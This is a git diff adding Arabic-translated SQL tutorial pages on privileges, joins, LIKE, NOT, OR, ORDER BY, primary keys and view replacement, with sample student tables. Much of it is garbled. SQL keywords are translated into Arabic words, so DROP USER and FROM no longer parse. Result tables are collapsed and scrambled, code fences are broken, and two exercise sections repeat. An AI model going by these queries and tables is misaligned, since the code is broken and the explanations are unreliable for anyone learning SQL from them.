+الامتياز للاتصال بقاعدة البيانات هو CREATE SESSION امتياز إنشاء الجدول هو CREATE TABLE امتياز إنشاء العرض هو CREATE VIEW `sql GRANT Create session, create table, create view TO role_tables_and_views`
+
+### منح الدور السابق في السؤال للمستخدمين anny و rita
+
+`sql GRANT role_tables_and_views TO anny, rita`
+
+### اكتب أمرًا لتغيير كلمة مرور المستخدم rita من abcd إلى dfgh
+
+`sql ALTER USER rita IDENTIFIED BY dfgh`
+
+### ليس لدى المستخدمين rita و anny امتيازات SELECT على الجدول INVENTORY الذي تم إنشاؤه بواسطة SCOTT. اكتب أمرًا للسماح لـ SCOTT بمنح المستخدمين امتيازات SELECT على هذه الجداول.
+
+`sql GRANT select ON inventory TO rita, anny`
+
+### وقد تم نقل ريتا المستخدم ولم يعد بحاجة الامتياز الذي منح لها من خلال and\_views _الجداول_ دور الدور. اكتب أمرًا لإزالتها من الامتيازات التي قدمتها سابقًا باستثناء أنه ما زال بإمكانها الاتصال بقاعدة البيانات.
+
+`sql REVOKE select ON scott.inventory FROM rita REVOKE create table, create view FROM rita`
+
+### انتقل الآن المستخدم ريتا الذي تم نقله إلى شركة أخرى. نظرًا لأن الكائنات التي أنشأتها لم تعد تستخدم ، اكتب commmand لإزالة هذا المستخدم وكافة الكائنات الخاصة به.
+
+هنا خيار CASCADE ضروري لإزالة كافة كائنات المستخدم في قاعدة البيانات. \`\` \`sql  
+انخفاض المستخدم ريتا CASCADE
+
+### وقد تم نقل ريتا المستخدم ولم يعد بحاجة الامتياز الذي منح لها من خلال and\_views _الجداول_ دور الدور. اكتب أمرًا لإزالتها من الامتيازات التي قدمتها سابقًا باستثناء أنه ما زال بإمكانها الاتصال بقاعدة البيانات.
+
+`sql REVOKE select ON scott.inventory FROM rita REVOKE create table, create view FROM rita`
+
+### انتقل الآن المستخدم ريتا الذي تم نقله إلى شركة أخرى. نظرًا لأن الكائنات التي أنشأتها لم تعد تستخدم ، اكتب commmand لإزالة هذا المستخدم وكافة الكائنات الخاصة به.
+
+هنا خيار CASCADE ضروري لإزالة كافة كائنات المستخدم في قاعدة البيانات. \`\` \`sql  
+انخفاض المستخدم ريتا CASCADE
+
+ `### Write SQL query to find the nth highest salary from table. 
+` 
+
+مزود  
+SELECT TOP 1 الراتب من عند ( SELECT DISTINCT TOP N Salary من الموظف ORDER BY Salary DESC ) ORDER BY الراتب ASC \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-joins/index.md b/client/src/guide/arabic/sql/sql-joins/index.md
new file mode 100644
index 0000000000..12a9dd849d
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-joins/index.md
@@ -0,0 +1,114 @@
+---
+title: SQL Joins
+localeTitle: ينضم SQL
+---
+## ينضم SQL
+
+### مثال على الاستخدام
+
+بالنسبة إلى هذا الدليل ، سنناقش قسم JOIN في عبارة SQL.
+
+### بناء جملة SQL مع التركيز على الانضمام
+
+ `SELECT col1, col2, col3, etc.... 
+ FROM  tableNameOne AS a 
+ JOIN tableNameTwo AS b ON a.primeKey = b.primeKey 
+ etc... 
+` 
+
+يمكن أن يكون عبارة JOIN مجرد JOIN أو INNER JOIN ، والتي هي نفسها ، أو LEFT JOIN (الموضحة أدناه).
+
+### أنواع مختلفة من JOINs
+
+*   (صلة داخلية
+*   إرجاع السجلات التي تحتوي على قيم متطابقة في كلا الجدولين
+*   ترك صلة خارجية
+*   إرجاع كافة السجلات من الجدول الأيسر ، والسجلات المتطابقة من الجدول الصحيح
+*   اليمين (الخارج)
+*   قم بإرجاع كافة السجلات من الجدول الصحيح ، والسجلات المتطابقة من الجدول الأيسر
+*   ممتلئ (خارجي) انضم
+*   إرجاع كافة السجلات عند وجود تطابق في أي من الجدول الأيسر أو الأيمن
+
+### انضم
+
+سيكون جدول الطالب في جملة FROM بحيث يكون جدول بدء أو يسار.
+
+سننضم إلى جدول جهات اتصال الطلاب أو جدول RIGHT.
+
+سترى أن جميع الطلاب يظهرون أيضًا في جدول جهات الاتصال.
+
+كما هو موضح في الجداول أدناه ، فإن studentID 9 موجود في جدول الطالب ولكن ليس في جدول جهات الاتصال ، لذا لن يظهر في أحد الروابط.
+
+بيان SQL
+
+ ``SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+`` 
+
+بيانات "انضم": \`\` \`النص + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy | خلية هاتف الطالب student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 | مونيك ديفيز الأدب | 555-555-5551 | 97111 | | 2 | تيري جوتيريز | برمجة | 555-555-5552 | 97112 | | 3 | سبنسر باوتير | برمجة | 555-555-5553 | 97113 | | 4 | لويس رمزي برمجة | 555-555-5554 | 97114 | | 5 | ألفين غرين | برمجة | 555-555-5555 | 97115 | | 6 | صوفي فريمان برمجة | 555-555-5556 | 97116 | | 7 | إدغار فرانك "تيد" كود علوم الكمبيوتر | 555-555-5557 | 97117 | | 8 | دونالد د. شامبرلين علوم الكمبيوتر | 555-555-5558 | 97118 | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- +
+
+ `### Left Join 
+ Using the keyword LEFT before JOIN causes the system to start with the student (LEFT) table but will return NULL from the RIGHT table if there are no rows for the LEFT table student. 
+ 
+ Note that studentID 9 appears here but the data from the contact table is just shown as NULL. 
+` 
+
+مزود حدد a.studentID ، a.FullName ، a.programOfStudy ، ب. `student-phone-cell` ، ب. `student-US-zipcode` من الطالب ك LEFT JOIN `student-contact-info` AS b ON a.studentID = b.studentID؛
+
+ ` ``` text 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ | studentID | FullName               | programOfStudy   | student-phone-cell | student-US-zipcode | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ |         1 | Monique Davis          | Literature       | 555-555-5551       |              97111 | 
+ |         2 | Teri Gutierrez         | Programming      | 555-555-5552       |              97112 | 
+ |         3 | Spencer Pautier        | Programming      | 555-555-5553       |              97113 | 
+ |         4 | Louis Ramsey           | Programming      | 555-555-5554       |              97114 | 
+ |         5 | Alvin Greene           | Programming      | 555-555-5555       |              97115 | 
+ |         6 | Sophie Freeman         | Programming      | 555-555-5556       |              97116 | 
+ |         7 | Edgar Frank "Ted" Codd | Computer Science | 555-555-5557       |              97117 | 
+ |         8 | Donald D. Chamberlin   | Computer Science | 555-555-5558       |              97118 | 
+ |         9 | Raymond F. Boyce       | Computer Science | NULL               |               NULL | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+### استكمال قوائم الجدول لتكون مرجعا
+
+قوائم جدول الطلاب
+
+ `SELECT a.studentID, a.FullName, sat_score, a.programOfStudy, schoolEmailAdr 
+ FROM student AS a; 
+` 
+
+طالب أو يسار الجدول
+
+ `+-----------+------------------------+-----------+------------------+------------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | schoolEmailAdr         | 
+ +-----------+------------------------+-----------+------------------+------------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | Monique@someSchool.edu | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | Teri@someSchool.edu    | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | Spencer@someSchool.edu | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | Louis@someSchool.edu   | 
+ |         5 | Alvin Greene           |      1200 | Programming      | Alvin@someSchool.edu   | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | Sophie@someSchool.edu  | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | Edgar@someSchool.edu   | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | Donald@someSchool.edu  | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | Raymond@someSchool.edu | 
+ +-----------+------------------------+-----------+------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+مزود SELECT \* from `student-contact-info` AS b؛
+
+ `student contact or RIGHT table 
+` 
+
+نص + ----------- + ---------------------------------- + - ------------------ + -------------------- + | studentID | studentEmailAddr | خلية هاتف الطالب student-US-zipcode | + ----------- + ---------------------------------- + - ------------------ + -------------------- + | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | + ----------- + ---------------------------------- + - ------------------ + -------------------- + 8 صفوف في مجموعة (0.00 ثانية) \`\` \`
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-left-join-keyword/index.md b/client/src/guide/arabic/sql/sql-left-join-keyword/index.md
new file mode 100644
index 0000000000..431ddc1218
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-left-join-keyword/index.md
@@ -0,0 +1,47 @@
+---
+title: SQL Left Join
+localeTitle: SQL Left Join
+---
+## SQL Left Join
+
+### مثال على الاستخدام
+
+لهذا الدليل سنناقش SQL LEFT JOIN.
+
+### انضم الى اليسار
+
+يؤدي استخدام الكلمة الأساسية LEFT قبل JOIN إلى بدء النظام مع جدول الطالب (LEFT) ولكنه سيعرض NULL من الجدول RIGHT إذا لم تكن هناك صفوف لطاولة جدول LEFT.
+
+لاحظ أن studentID 9 يظهر هنا ولكن البيانات من جدول جهات الاتصال تظهر فقط على هيئة NULL.
+
+ ``SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ LEFT JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+`` 
+
+\`\` \`النص + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy | خلية هاتف الطالب student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 | مونيك ديفيز الأدب | 555-555-5551 | 97111 | | 2 | تيري جوتيريز | برمجة | 555-555-5552 | 97112 | | 3 | سبنسر باوتير | برمجة | 555-555-5553 | 97113 | | 4 | لويس رمزي برمجة | 555-555-5554 | 97114 | | 5 | ألفين غرين | برمجة | 555-555-5555 | 97115 | | 6 | صوفي فريمان برمجة | 555-555-5556 | 97116 | | 7 | إدغار فرانك "تيد" كود علوم الكمبيوتر | 555-555-5557 | 97117 | | 8 | دونالد د. شامبرلين علوم الكمبيوتر | 555-555-5558 | 97118 | | 9 | ريمون ف. بويس علوم الكمبيوتر | فارغة فارغة + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + 9 صفوف في مجموعة (0.00 ثانية)
+
+ `### Complete table listings for reference 
+ student or LEFT table SQL 
+` 
+
+مزود SELECT a.studentID، a.FullName، sat\_score، a.programOfStudy، schoolEmailAdr من الطالب AS
+
+ `student or LEFT table data 
+` 
+
+نص + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | studentID | FullName | sat\_score | programOfStudy | schoolEmailAdr | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | 1 | مونيك ديفيز 400 | الأدب | Monique@someSchool.edu | | 2 | تيري جوتيريز | 800 | برمجة | Teri@someSchool.edu | | 3 | سبنسر باوتير | 1000 | برمجة | Spencer@someSchool.edu | | 4 | لويس رمزي 1200 | برمجة | Louis@someSchool.edu | | 5 | ألفين غرين | 1200 | برمجة | Alvin@someSchool.edu | | 6 | صوفي فريمان 1200 | برمجة | Sophie@someSchool.edu | | 7 | إدغار فرانك "تيد" كود 2400 | علوم الكمبيوتر | Edgar@someSchool.edu | | 8 | دونالد د. شامبرلين 2400 | علوم الكمبيوتر | Donald@someSchool.edu | | 9 | ريمون ف. بويس 2400 | علوم الكمبيوتر | Raymond@someSchool.edu | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + 9 صفوف في مجموعة (0.00 ثانية)
+
+جهة اتصال الطالب أو الجدول الصحيح SQL
+
+ ``select * from `student-contact-info` as b; 
+`` 
+
+جهة اتصال الطالب أو بيانات جدول RIGHT `text +-----------+----------------------------------+--------------------+--------------------+ | studentID | studentEmailAddr | student-phone-cell | student-US-zipcode | +-----------+----------------------------------+--------------------+--------------------+ | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | +-----------+----------------------------------+--------------------+--------------------+ 8 rows in set (0.00 sec)`
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-like-operator/index.md b/client/src/guide/arabic/sql/sql-like-operator/index.md
new file mode 100644
index 0000000000..3726e1e27f
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-like-operator/index.md
@@ -0,0 +1,83 @@
+---
+title: SQL LIKE Operator
+localeTitle: SQL LIKE المشغل
+---
+## SQL LIKE المشغل
+
+### مثل المشغل المحدد
+
+يتم استخدام معامل `LIKE` في `WHERE` أو `HAVING` (كجزء من `GROUP BY` ) لتحديد الصفوف المحددة للعناصر عندما يحتوي العمود على نمط معين من الأحرف الموجودة فيه.
+
+### سيوضح هذا الدليل:
+
+*   تحديد ما إذا كانت السلسلة تبدأ أو تنتهي بنمط سلسلة محدد
+*   تحديد ما إذا كان هناك نمط موجود في منتصف السلسلة
+*   تحديد ما إذا كانت سلسلة غير موجودة في السلسلة
+
+### يبدأ العمود أو ينتهي بنمط سلسلة محدد
+
+سيحدد هذا SQL الطلاب الذين لديهم `FullName` بدءًا من "Monique" أو تنتهي بـ "Greene".
+
+ `SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE 
+ FullName LIKE 'Monique%' OR -- note the % at the end but not the beginning 
+ FullName LIKE '%Greene'; -- note the % at the beginning but not the end 
+` 
+
+ `+-----------+---------------+-----------+---------------------+ 
+ | studentID | FullName      | sat_score | rcd_updated         | 
+ +-----------+---------------+-----------+---------------------+ 
+ |         1 | Monique Davis |       400 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene  |      1200 | 2017-08-16 15:34:50 | 
+ +-----------+---------------+-----------+---------------------+ 
+ 2 rows in set (0.00 sec) 
+` 
+
+### يوجد نمط سلسلة في منتصف العمود
+
+سيحدد هذا SQL الطلاب الذين لديهم "ree" في أي مكان في الاسم.
+
+ `SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE FullName LIKE '%ree%'; -- note the % at the beginning AND at the end 
+` 
+
+ `+-----------+----------------+-----------+---------------------+ 
+ | studentID | FullName       | sat_score | rcd_updated         | 
+ +-----------+----------------+-----------+---------------------+ 
+ |         5 | Alvin Greene   |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman |      1200 | 2017-08-16 15:34:50 | 
+ +-----------+----------------+-----------+---------------------+ 
+ 2 rows in set (0.00 sec) 
+` 
+
+### السلسلة ليست في العمود
+
+يمكنك وضع "NOT" قبل LIKE لاستبعاد الصفوف بنمط السلسلة بدلاً من تحديدها. يستثني هذا SQL السجلات التي تحتوي على "cer Pau" و "Ted" في العمود FullName.
+
+ `SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE FullName NOT LIKE '%cer Pau%' AND FullName NOT LIKE '%"Ted"%'; 
+` 
+
+ `+-----------+----------------------+-----------+---------------------+ 
+ | studentID | FullName             | sat_score | rcd_updated         | 
+ +-----------+----------------------+-----------+---------------------+ 
+ |         1 | Monique Davis        |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez       |       800 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey         |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene         |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman       |      1200 | 2017-08-16 15:34:50 | 
+ |         8 | Donald D. Chamberlin |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce     |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+----------------------+-----------+---------------------+ 
+ 7 rows in set (0.00 sec) 
+` 
+
+_في ما يلي قائمة الطلاب الكاملة الحالية للمقارنة مع مكان تعيين نتيجة الجملة أعلاه._
+
+ `SELECT studentID, FullName, sat_score, rcd_updated FROM student; 
+` 
+
+\`\` \`النص + ----------- + ------------------------ + ----------- + --------------------- + | studentID | FullName | _درجة_ جلس _|_ تحديث _Rcd_ | + ----------- + ------------------------ + ----------- + --------------------- + | 1 | مونيك ديفيز 400 | 2017-08-16 15:34:50 | | 2 | تيري جوتيريز | 800 | 2017-08-16 15:34:50 | | 3 | سبنسر باوتير | 1000 | 2017-08-16 15:34:50 | | 4 | لويس رمزي 1200 | 2017-08-16 15:34:50 | | 5 | ألفين غرين | 1200 | 2017-08-16 15:34:50 | | 6 | صوفي فريمان 1200 | 2017-08-16 15:34:50 | | 7 | إدغار فرانك "تيد" كود 2400 | 2017-08-16 15:35:33 | | 8 | دونالد د. شامبرلين 2400 | 2017-08-16 15:35:33 | | 9 | ريمون ف. بويس 2400 | 2017-08-16 15:35:33 | + ----------- + ------------------------ + ----------- + --------------------- + 9 صفوف في مجموعة (0.00 ثانية)
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-not-operator/index.md b/client/src/guide/arabic/sql/sql-not-operator/index.md
new file mode 100644
index 0000000000..eac3f8bff2
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-not-operator/index.md
@@ -0,0 +1,14 @@
+---
+title: SQL not Operator
+localeTitle: SQL لا المشغل
+---
+## SQL لا المشغل
+
+يمكنك استخدام عامل التشغيل `NOT` في `WHERE` من `SELECT` . يمكنك استخدامه عندما تريد تحديد شرط غير صحيح.
+
+في ما يلي مثال يختار جميع الأشخاص غير الذكور:
+
+ `SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE NOT Gender = "M" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-or-operator/index.md b/client/src/guide/arabic/sql/sql-or-operator/index.md
new file mode 100644
index 0000000000..d6bd832160
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-or-operator/index.md
@@ -0,0 +1,23 @@
+---
+title: SQL or Operator
+localeTitle: SQL أو المشغل
+---
+## SQL أو المشغل
+
+يمكنك استخدام عامل التشغيل `OR` في `WHERE` من `SELECT` . يمكنك استخدامه عندما تريد تحديد سجل يفي بواحد من الشروط في عبارة `OR` على الأقل.
+
+في ما يلي مثال يحدد جميع السجلات من جدول "الأشخاص" الذين هم إما ذكور أو الذين لديهم اسم "ماري":
+
+ `SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE Gender = “M” OR Name = “Mary” 
+` 
+
+يمكنك دمج عوامل تشغيل أخرى في `WHERE` (استخدم الأقواس للإشارة إلى ترتيب العمليات) كما في هذا المثال:
+
+ `SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE Gender = “M” AND (Name = “Peter” OR Name = “John”) 
+` 
+
+يختار هذا المثال جميع السجلات التي يكون فيها الجنس "M" والاسم "Peter" ، وكذلك الجنس حيث يكون "M" والاسم "John".
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-order-by-keyword/index.md b/client/src/guide/arabic/sql/sql-order-by-keyword/index.md
new file mode 100644
index 0000000000..a910719732
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-order-by-keyword/index.md
@@ -0,0 +1,57 @@
+---
+title: SQL Order By Keyword
+localeTitle: ترتيب SQL بالكلمات الرئيسية
+---
+## ترتيب SQL بالكلمات الرئيسية
+
+### اطلب بواسطة (ASC، DESC)
+
+ORDER BY يعطينا طريقة ل SORT النتيجة المحددة بواسطة واحد أو أكثر من العناصر في قسم SELECT. هنا هو مزود فرز الفرز للطلاب من خلال FullName بترتيب تنازلي. ترتيب الفرز الافتراضي هو تصاعدي (ASC) ولكن لفرز بالترتيب المعاكس (تنازلي) تستخدم DESC.
+
+ `SELECT studentID, FullName, sat_score 
+ FROM student 
+ ORDER BY FullName DESC; 
+` 
+
+ `+-----------+------------------------+-----------+ 
+ | studentID | FullName               | sat_score | 
+ +-----------+------------------------+-----------+ 
+ |         2 | Teri Gutierrez         |       800 | 
+ |         3 | Spencer Pautier        |      1000 | 
+ |         6 | Sophie Freeman         |      1200 | 
+ |         9 | Raymond F. Boyce       |      2400 | 
+ |         1 | Monique Davis          |       400 | 
+ |         4 | Louis Ramsey           |      1200 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 
+ |         5 | Alvin Greene           |      1200 | 
+ +-----------+------------------------+-----------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+_وفيما يلي قائمة الطلاب المسجلين من الأمم المتحدة ، الحالية ، الكاملة للمقارنة مع ما سبق._
+
+ `SELECT studentID, FullName, sat_score, rcd_updated FROM student; 
+` 
+
+ `+-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-primary-key-constraint/index.md b/client/src/guide/arabic/sql/sql-primary-key-constraint/index.md
new file mode 100644
index 0000000000..2f201f6572
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-primary-key-constraint/index.md
@@ -0,0 +1,49 @@
+---
+title: SQL Primary Key Constraint
+localeTitle: SQL مفتاح القيد الرئيسي
+---
+## مفتاح المفتاح الأساسي
+
+### المقدمة
+
+المفتاح الأساسي هو عمود أو مجموعة من الأعمدة تقوم بتعريف كل صف في جدول بشكل فريد.
+
+يطلق عليه "القيد" لأنه يتسبب في تقييد النظام للبيانات المسموح بها في هذه الأعمدة (الأعمدة). في هذه الحالة….
+
+*   لاحتواء البيانات (NOT NULL)
+*   تكون فريدة من جميع الصفوف الأخرى في الجدول.
+*   يمكن أن يحتوي كل جدول على مفتاح أساسي واحد فقط
+
+يتم استخدام المفاتيح الأساسية في الغالب للحفاظ على سلامة البيانات لكل صف.
+
+كما يسمح للنظام والتطبيقات بالتأكد من قراءتها وتحديثها والانضمام إلى البيانات بشكل صحيح.
+
+### مثال مع إنشاء الجدول
+
+فيما يلي أمر إنشاء جدول يقوم أيضًا بإنشاء مفتاح أساسي باستخدام حقلين.
+
+ `CREATE TABLE priKeyExample( 
+ rcdKey_id_a INT NOT NULL, 
+ rcdKeySeq_id INT NOT NULL, 
+ someData varchar(256) NOT NULL, 
+ PRIMARY KEY(rcdKey_id_a,rcdKeySeq_id)); 
+` 
+
+### مثال مع جدول التغيير
+
+يجب حذف القائمة أولاً
+
+ ``DROP INDEX `primary` ON priKeyExample; 
+`` 
+
+الآن سنقوم بإضافة واحدة جديدة.
+
+ `ALTER TABLE priKeyExample 
+ ADD CONSTRAINT myPriKey PRIMARY KEY(rcdKey_id_a,rcdKeySeq_id); 
+` 
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-replace-view-statement/index.md b/client/src/guide/arabic/sql/sql-replace-view-statement/index.md
new file mode 100644
index 0000000000..cf6503b5fc
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-replace-view-statement/index.md
@@ -0,0 +1,100 @@
+---
+title: SQL Replace VIEW Statement
+localeTitle: SQL استبدال بيان VIEW
+---
+## SQL استبدال بيان VIEW
+
+## المقدمة
+
+A View هو كائن قاعدة بيانات يقدم البيانات من جدول واحد أو أكثر. يمكن استخدام نفس عبارة SQL المستخدمة لإنشاء طريقة عرض لاستبدال طريقة عرض موجودة.
+
+سيعمل هذا الدليل على تحديث (استبدال) العرض الحالي "programming-students-v" بواحد مختلف قليلاً وله اسم مختلف.
+
+نصيحة الأمان: احرص دائمًا على إجراء نسخ احتياطي للمخطط قبل إجراء تغييرات عليه.
+
+### Sytax العام
+
+ `CREATE OR REPLACE VIEW view_name AS 
+ SELECT column1, column2, ... 
+ FROM table_name 
+ WHERE condition; 
+` 
+
+### يستخدم SQL لإنشاء العرض والبيانات الحالية
+
+ ``create view `programming-students-v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+`` 
+
+ ``select * from `programming-students-v`; 
+`` 
+
+البيانات الحالية:
+
+ `+-----------------+----------------+ 
+ | FullName        | programOfStudy | 
+ +-----------------+----------------+ 
+ | Teri Gutierrez  | Programming    | 
+ | Spencer Pautier | Programming    | 
+ | Louis Ramsey    | Programming    | 
+ | Alvin Greene    | Programming    | 
+ | Sophie Freeman  | Programming    | 
+ +-----------------+----------------+ 
+ 5 rows in set (0.00 sec) 
+` 
+
+قائمة من وجهات النظر الحالية:
+
+ `SHOW FULL TABLES IN fcc_sql_guides_database WHERE TABLE_TYPE LIKE 'VIEW'; 
+` 
+
+ `+-----------------------------------+------------+ 
+ | Tables_in_fcc_sql_guides_database | Table_type | 
+ +-----------------------------------+------------+ 
+ | programming-students-v            | VIEW       | 
+ | students-contact-info_v           | VIEW       | 
+ | students_dropme_v                 | VIEW       | 
+ +-----------------------------------+------------+ 
+ 3 rows in set (0.00 sec) 
+` 
+
+### استبدال العرض
+
+ ``create or replace view `programming-students-v` as 
+ select FullName, programOfStudy, sat_score 
+ from student 
+ where programOfStudy = 'Programming'; 
+`` 
+
+ ``select * from `programming-students-v`; 
+`` 
+
+ملاحظة: تعرض طريقة العرض الآن sat\_score.
+
+ `+-----------------+----------------+-----------+ 
+ | FullName        | programOfStudy | sat_score | 
+ +-----------------+----------------+-----------+ 
+ | Teri Gutierrez  | Programming    |       800 | 
+ | Spencer Pautier | Programming    |      1000 | 
+ | Louis Ramsey    | Programming    |      1200 | 
+ | Alvin Greene    | Programming    |      1200 | 
+ | Sophie Freeman  | Programming    |      1200 | 
+ +-----------------+----------------+-----------+ 
+` 
+
+ملاحظة: قائمة وجهات النظر لم تتغير ، يتم استبدال وجهة نظرنا.
+
+ `mysql>  SHOW FULL TABLES IN fcc_sql_guides_database WHERE TABLE_TYPE LIKE 'VIEW'; 
+ +-----------------------------------+------------+ 
+ | Tables_in_fcc_sql_guides_database | Table_type | 
+ +-----------------------------------+------------+ 
+ | programming-students-v            | VIEW       | 
+ | students-contact-info_v           | VIEW       | 
+ | students_dropme_v                 | VIEW       | 
+ +-----------------------------------+------------+ 
+ 3 rows in set (0.00 sec) 
+` 
+
+\* كما هو الحال مع جميع هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي. آمل أن يمنحك هذا على الأقل ما يكفي للبدء. يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-right-join-keyword/index.md b/client/src/guide/arabic/sql/sql-right-join-keyword/index.md
new file mode 100644
index 0000000000..6a07ef48a2
--- /dev/null
